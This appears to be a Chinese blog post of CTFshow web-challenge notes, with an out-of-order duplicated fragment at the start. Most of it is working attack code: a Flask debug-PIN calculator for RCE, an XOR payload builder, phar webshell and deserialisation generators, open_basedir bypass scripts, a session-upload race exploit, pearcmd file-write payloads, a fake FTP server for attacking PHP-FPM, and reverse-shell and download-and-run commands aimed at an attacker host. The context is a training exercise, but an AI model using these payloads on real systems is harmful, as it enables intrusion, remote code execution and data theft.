如果PHP以命令行的形式运行(即sapi是cli),这里很好理解。但如果PHP以Server的形式运行,且又开启了register_argc_argv,那么这其中是怎么处理的?

HTTP数据包中的query-string会被作为argv的值

最终构造的payload如下

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

此时/tmp/hello.php文件中就有了我们写入的<?=phpinfo()?>,文件包含即可

810

SSRF打PHP-FPM

有工具不用***

1
2
3
title: CTFshow常用姿势
date: 2022-06-04 16:20:22
tags:

801

flask计算PIN

什么是PIN码

PIN码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式

注意事项:谨记!!python 3.8(md5)和3.6(sha1)pin码生成方式不同

使用条件:flask debug模式开启 存在任意文件读取

首先是python PIN码的生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#生效时间为一周
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


_machine_id: t.Optional[t.Union[str, bytes]] = None

#获取机器号
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
#读取文件进行拼接
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
#继续进行拼接,这里处理一下只要/docker后的东西
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

# On OS X, use ioreg to get the computer's serial number.
try:
# subprocess may not be available, e.g. Google App Engine
# https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE

dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)

if match is not None:
return match.group(1)
except (OSError, ImportError):
pass

# On Windows, use winreg to get the machine guid.
if sys.platform == "win32":
import winreg

try:
with winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0,
winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
) as rk:
guid: t.Union[str, bytes]
guid_type: int
guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

if guid_type == winreg.REG_SZ:
return guid.encode("utf-8")

return guid
except OSError:
pass

return None

_machine_id = _generate()
return _machine_id


class _ConsoleFrame:
"""Helper class so that we can reuse the frame console code for the
standalone console.
"""

def __init__(self, namespace: t.Dict[str, t.Any]):
self.console = Console(namespace)
self.id = 0


def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None

# Pin was explicitly disabled
if pin == "off":
return None, None

# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin

modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]

try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None

mod = sys.modules.get(modname)

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv, cookie_name

由上可以看得出PIN值生成所需要获取的数据有

  • username,用户名
  • modname,默认值为flask.app
  • appname,默认值为Flask
  • moddir,flask库下app.py的绝对路径
  • uuidnode,当前网络的mac地址的十进制数
  • machine_id,docker机器id或本机id

首先是用户名

img

可用的似乎只有root

下面三项任意报错即可获得

mac地址

img

Machine_id

img

本机生成脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'2485377581187',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

使用最终生成的PIN进入代码调试,RCE

802

无字母数字命令执行

异或法,偷个脚本喵喵

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

803

phar文件包含

来自大佬的提示:把phar当压缩包用就行

首先生成包含一句话木马的phar文件

1
2
3
4
5
6
7
8
<?php
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //设置stub
$phar->addFromString('test.txt', '<?php system($_POST[a]);?>'); //
$phar->stopBuffering();
// phar生成
?>

此时phar包中的test.txt中的内容就是我们的一句话木马了

上传文件(记得读取然后url编码一下)

1
payload:?file=/tmp/phar.phar&content=%3C%3Fphp+__HALT_COMPILER%28%29%3B+%3F%3E%0D%0A6%00%00%00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%00%00%00%00%08%00%00%00test.txt%1A%00%00%00%7E%E7%9Db%1A%00%00%00%C8%C2%DA%2C%A4%01%00%00%00%00%00%00%3C%3Fphp+system%28%24_POST%5Ba%5D%29%3B%3F%3E%FB%C1%FC%A84J%19%C8f%97%29%BA%C7%80v%82%F5%86J%06%02%00%00%00GBMB

include干

截屏2022-06-06 20.00.48

804

phar反序列化

这不用教吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class hacker{
public $code;
}

// @unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
// $phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ); //压缩规避敏感字符
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new hacker();
$o->code="highlight_file('flag.php');";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
// phar生成

?>

上传phar协议读取就行

805

open_basedir绕过

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。

假设open_basedir=/var/www/html/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。

注意:用open_basedir指定的限制实际上是前缀,而不是目录名

文章来自这里

但是这个配置对系统命令执行是没有效果的,比如执行system('ls /')的时候就不受限制,但是一般都会被ban掉

下面就是一些bypass方法

  1. glob协议,只能捞捞文件名

    1
    2
    3
    4
    5
    6
    7
    $a = "glob:///*";
    if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
    echo $file."\n";
    }
    closedir($b);
    }
  2. 利用chdir()与ini_set()组合Bypass

    原理在这里

    1
    2
    3
    4
    5
    6
    7
    8
    9
    mkdir("s");
    chdir('s');
    ini_set('open_basedir','..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    ini_set('open_basedir','/');
    echo file_get_contents("/ctfshowflag");
  3. 利用bindtextdomain()函数Bypass

    这个方法也只能捞捞文件名

    bindtextdomain()函数

    (PHP 4, PHP 5, PHP 7)

    bindtextdomain()函数用于绑定domain到某个目录的函数。

    1
    bindtextdomain ( string $domain , string $directory ) : string

    bindtextdomain()函数的第二个参数$directory是一个文件路径,它会在$directory存在的时候返回$directory,不存在则返回false。

    我们就可以通过修改directory参数根据返回值来判断文件是否存在

  4. 利用SplFileInfo::getRealPath()类方法Bypass

    这个和上面那个很相似,也是基于报错,直接给payload吧

    1
    2
    3
    4
    5
    <?php
    echo '<b>open_basedir: ' . ini_get('open_basedir') . '</b><br />';
    $info = new SplFileInfo($_GET['dir']);
    var_dump($info->getRealPath());
    ?>
  5. 利用realpath()函数Bypass

    realpath()函数

    (PHP 4, PHP 5, PHP 7)

    realpath — 返回规范化的绝对路径名。它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。

    函数定义如下:

    1
    realpath ( string $path ) : string

    Bypass

    环境条件:Windows

    基本原理是基于报错返回内容的不用,设置自定义的错误处理函数,循环遍历匹配到正则的报错信息的字符来逐个拼接成存在的文件名,另外是需要结合利用Windows下的两个特殊的通配符<和>,不然只能进行暴破。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php
    ini_set('open_basedir', dirname(__FILE__));
    printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
    set_error_handler('isexists');
    $dir = 'E:/wamp64/';
    $file = '';
    $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
    for ($i=0; $i < strlen($chars); $i++) {
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
    }
    function isexists($errno, $errstr)
    {
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
    printf("%s <br/>", $matches[1]);
    }
    }
    ?>

    可以看到,首字母不同的文件就被列出来了,首字母相同的文件中只列了第一个:

    img

最后是大佬脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);

$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;

foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}

function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}

function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}

include远程文件后传参file即可

806

php无参RCE

首先是一篇可供参考的文章

利用方式有以下几种

  1. 利用session_id

    php中有一个函数叫session_id(),可以直接获取到cookie中的phpsessionid值,phpsessionid的组成符号有限定,不能使用 ’ () ‘,所以我们需要将我们要执行的命令转换成16进制,然后再通过hex2bin函数转换回去,bin2hex('payload');来转换16禁止,在使用时通过eval(hex2bin(session_id(session_start())));,在加上请求头中Cookie中的PHPSESSID=16进制payload执行

  2. 利用get_defined_vars ()函数

    get_defined_vars():返回由所有已定义变量所组成的数组

    可供利用的函数

    1
    2
    3
    4
    5
    end() - 将内部指针指向数组中的最后一个元素,并输出。
    next() - 将内部指针指向数组中的下一个元素,并输出。
    prev() - 将内部指针指向数组中的上一个元素,并输出。
    reset() - 将内部指针指向数组中的第一个元素,并输出。
    each() - 返回当前元素的键名和键值,并将内部指针向前移动。

    可以看到在已定义的变量中存在着全局变量GET和POST,我们可以通过传入参数来实现RCE

    1
    payload:?a=eval(end(current(get_defined_vars())));&b=phpinfo();
  3. 文件读取

    可供利用的函数

    1
    2
    3
    4
    5
    6
    7
    var_dump()  打印所有内容
    print_r() 同上
    scandir() 扫描路径内文件名并返回一个迭代器
    localeconv()
    getcwd() 获得当前工作目录
    getallheaders() 获得请求头内容

807

反弹shell

本地监听端口,记住要有公网IP,也可以使用frp内网穿透

  1. 公网服务器

    监听命令

    1
    2
    3
    4
    5
    攻击端
    nc -lvp 监听的端口
    受害端
    bash -i >& /dev/tcp/攻击端IP/攻击端监听端口 0>&1
    nc 攻击端IP 攻击端监听端口 -t /bin/bash

    利用wget下载执行

    1
    wget 攻击端IP/shell.txt -O /tmp/shell.php && php /tmp/shell.php

    python脚本反弹

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #!/usr/bin/python
    #-*- coding: utf-8 -*-
    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("攻击端IP",攻击端监听端口)) #更改localhost为⾃⼰的外⽹ip,端⼝任意
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])

808

卡临时文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/"
url2='http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/?file=/tmp/sess_yu22x'
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
'1':'echo 11123;system("cat /*");',
}
file={
'file':'1'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if '11123' in r.text:
print(r.text)

if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write).start()
for i in range(1,30):
threading.Thread(target=read).start()
event.set()

纯纯看运气

809

pear文件包含/RCE

文章在此

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事。

我最早的时候是在阅读phpinfo()的过程中,发现Docker环境下的PHP会开启register_argc_argv这个配置。文档中对这个选项的介绍不是特别清楚,大概的意思是,当开启了这个选项,用户的输入将会被赋予给$argc$argv$_SERVER['argv']几个变量。

如果PHP以命令行的形式运行(即sapi是cli),这里很好理解。但如果PHP以Server的形式运行,且又开启了register_argc_argv,那么这其中是怎么处理的?

HTTP数据包中的query-string会被作为argv的值

最终构造的payload如下

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

此时/tmp/hello.php文件中就有了我们写入的<?=phpinfo()?>,文件包含即可

810

SSRF打PHP-FPM

有工具不用***

记得传入的时候url编码一下

811

file_put_contents打PHP-FPM

文章在这里

用的yu22x师傅的脚本

  1. 伪造ftp服务器

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',4566)) #端口可改
    s.listen(1)
    conn, addr = s.accept()
    conn.send(b'220 welcome\n')
    #Service ready for new user.
    #Client send anonymous username
    #USER anonymous
    conn.send(b'331 Please specify the password.\n')
    #User name okay, need password.
    #Client send anonymous password.
    #PASS anonymous
    conn.send(b'230 Login successful.\n')
    #User logged in, proceed. Logged out if appropriate.
    #TYPE I
    conn.send(b'200 Switching to Binary mode.\n')
    #Size /
    conn.send(b'550 Could not get the file size.\n')
    #EPSV (1)
    conn.send(b'150 ok\n')
    #PASV
    conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
    conn.send(b'150 Permission denied.\n')
    #QUIT
    conn.send(b'221 Goodbye.\n')
    conn.close()
  2. gopherus生成payload

  3. vps监听传参

    1
    file=ftp://x.x.x.x:4566&content=gopherus生成的payload(只取下划线后面的内容,且不需要再次编码)

812

PHP-FPM未授权